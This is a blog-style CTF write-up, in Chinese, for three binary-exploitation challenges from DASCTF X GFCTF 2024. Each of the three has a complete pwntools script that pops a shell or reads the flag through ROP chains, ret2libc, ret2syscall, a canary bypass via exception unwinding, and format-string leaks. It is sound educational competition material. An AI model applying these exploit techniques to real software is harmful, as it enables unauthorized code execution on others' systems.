DASCTF X GFCTF 2024|四月开启第一局

前言

题目都比较简单,,,没啥好说的,很久没做题了,简单记录一下

dynamic_but_static

  • 仅仅开了 NX 保护
  • 栈溢出

先泄漏 libc 地址,然后栈溢出打 ret2libc,开了沙箱得 orw

from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = process("./pwn")
io = remote("node5.buuoj.cn", 29271)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''


ret     = 0x000000000040101a # ret
pop_rdi = 0x0000000000401381 # pop rdi ; ret
puts_got = 0x404028
puts_plt = 0x4010D0
read_got = 0x404040

#gdb.attach(io, 'b *0x401482')
pay = b'A'*0x38 + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(0x401386)
sl(pay)

#pause()
libc_base = addr8(6) - libc.sym.read #0x1149c0
info("libc_base", libc_base)

o = libc_base + 0x1146d0
r = libc_base + 0x1149c0
w = libc_base + 0x114a60
bss = elf.bss()+0x100
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x00000000000796a2 # pop rdx ; ret
magic = libc_base + 0x0000000000149515 # add rdx, 2 ; xor eax, eax ; mov qword ptr [rdi], rdx ; ret
leave_ret = 0x0000000000401349 # leave ; ret

info("bss", bss)
info("o", o)
info("r", r)
info("w", w)
info("rsi", pop_rsi)
info("rdx", pop_rdx)

pay = p64(bss-8)*7 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss-8) + p64(pop_rdx) + p64(0x200) + p64(r) + p64(leave_ret)
sl(pay)
#pause()
sleep(1)
pay  = b'./flag\x00\x00' + p64(pop_rdi) + p64(bss-8) + p64(pop_rsi) + p64(0) + p64(o)
pay += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss-0x100) + p64(pop_rdx) + p64(0x30) + p64(r)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss-0x100) + p64(pop_rdx) + p64(0x30) + p64(w)
sl(pay)
#pause()
#debug()
sh()

在这里插入图片描述

Control

  • 开了 NX 和 Canary
  • 栈溢出
  • 静态链接,所以考虑 ret2syscall
  • 异常处理绕过 Canary 检查

开始可以往 bss 段上写入 16 字节:
在这里插入图片描述
然后 vuln 函数中白给的栈溢出:
在这里插入图片描述
当读入的字节数大于 96 时会进入异常抛出逻辑,这里可以在 main 函数中发现异常捕获逻辑:
在这里插入图片描述
由于 vuln 函数中存在 Canary 保护,所以直接进行栈溢出 ret2syscall 是不可行的,这里我们可以覆盖 ebp 为 gift-8,这里在进行异常捕获时,会进行栈回退,此时就可以将栈劫持到 gift 上,这时我们可以将 rip 去往 gift 上读取 ROP 链,调试发现进行读取时,rdx = 0,而仅仅就 16 字节,所以 pop rdx 用不了,找了一个 magic gadget,调试发现 qword ptr [rsi - 8] 的值为 0x91,其足够写入 ROP 链了

from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = process("./pwn")
io = remote("node5.buuoj.cn", 26739)
elf = ELF("./pwn")
libc = elf.libc

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

pop_rax = 0x0000000000462c27 # pop rax ; ret
pop_rdi = 0x0000000000401c72 # pop rdi ; ret
pop_rsi = 0x0000000000405285 # pop rsi ; ret
pop_rdx = 0x0000000000401aff # pop rdx ; ret
syscall = 0x000000000040161e # syscall
ret     = 0x000000000040101a # ret
magic   = 0x0000000000446200 # mov rdx, qword ptr [rsi - 8] ; mov qword ptr [rdi - 8], rdx ; ret
gift    = 0x00000000004D3350

#gdb.attach(io, 'b *0x402194')
sda(b'Gift> ', p64(magic) + p64(0x402221))
sda(b'control?\n', p64(gift-8)*15)
pay = p64(gift+8) + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(gift+0x50) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall) + b'/bin/sh\x00'
sla(b'again', pay)

#pause()
#debug()
sh()

在这里插入图片描述

Exception

  • 保护全开
  • 一个堆上的格式化字符串漏洞
  • 给了栈地址,并且存在栈溢出
  • 异常处理

这题相较于上一题还简单一些,栈地址、libc地址、程序基地址和 canary 都算白给了
在这里插入图片描述
这里 name 上可以输入 0x20 的数据,但是由于保护全开,所以一开始也写不了什么有用的 gadget,只能用来泄漏数据了,这里可以泄漏 libc/栈地址/canary/程序基地址,然后 vuln 中就是一个白给的栈溢出,然后直接抛出异常
在这里插入图片描述
但是这里溢出的字节数足够长,所以这里的抛出异常没有任何影响,直接栈溢出打 ret2libc 即可,但是需要注意的是栈上的数据不要破坏,不如栈退回大概率失败,而且这里劫持的是 main 函数的返回地址,不能劫持 vuln 的返回地址是因为如果修改其返回地址,则导致找不到 catch 块从而导致栈回退失败

from pwn import *
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = process("./pwn")
io = remote("node5.buuoj.cn", 27800)
elf = ELF("./pwn")
libc = ELF("/pwn/libc.so.6")

def debug():
    gdb.attach(io)
    pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

#gdb.attach(io, 'b *$rebase(0x1333)')

sla(b'your name\n', b'X%11$pYM%15$pNL%7$pL')
rut(b'X')
lbase = int(rut(b'Y'), 16) - 0x24083
#info("lbase", lbase)

rut(b'M')
base = int(rut(b'N'), 16) - 0x1360
#info("base", base)

rut(b'L')
canary = int(rut(b'L'), 16)
#info("canary", canary)

rut(b'stack\n')
stack = int(rut(b'\n'), 16)
#info("stack", stack)

pop_rdi = lbase + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = lbase + 0x000000000002601f # pop rsi ; ret
pop_rdx = lbase + 0x0000000000119431 # pop rdx ; pop r12 ; ret
system  = lbase + libc.sym.system
binsh   = lbase + next(libc.search(b'/bin/sh\x00'))
ret     = lbase + 0x0000000000022679 # ret

pay  = p64(lbase+0x1ed6a0) + p64(base+0x206d) + p64(base+0x4020) + p64(lbase+0x1e94a0)
pay += p64(0) + p64(lbase+0x90e93) + p64(0x18) + p64(lbase+0x1ed6a0) + p64(base+0x206d)
pay += p64(lbase+0x8459a) + p64(base+0x1480) + p64(stack+0xa0) + p64(base+0x1180)
pay += p64(canary) + p64(stack+0xa0)
pay += p64(base+0x1408) + p64(0) + p64(canary) + p64(stack+0x190) + p64(0)*2
pay += p64(pop_rdi) + p64(binsh) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0)*2 + p64(system)
print(hex(len(pay)))
sda(b'exception?', pay)

#pause()
#debug()
sh()
sh()

在这里插入图片描述

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值